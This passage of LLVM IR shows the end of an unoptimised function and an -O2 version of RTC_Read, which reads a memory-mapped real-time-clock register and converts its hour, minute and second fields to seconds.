%18 = mul nsw i32 %17, 3600
%19 = load i32, i32* %1
%20 = add nsw i32 %19, %18
store i32 %20, i32* %1
%21 = load i32, i32* %1
ret i32 %21
}

LLVM IR (-O2):
define i32 @RTC_Read() {
%1 = load volatile i64, i64* inttoptr (i64 3758243860 to i64*)
%2 = trunc i64 %1 to i32
%3 = and i32 %2, 63
%4 = lshr i32 %2, 8
%5 = and i32 %4, 63
%6 = mul nuw nsw i32 %5, 60
%7 = add nuw nsw i32 %6, %3
%8 = lshr i32 %2, 16
%9 = and i32 %8, 31
%10 = mul nuw nsw i32 %9, 3600
%11 = add nuw nsw i32 %7, %10
ret i32 %11
}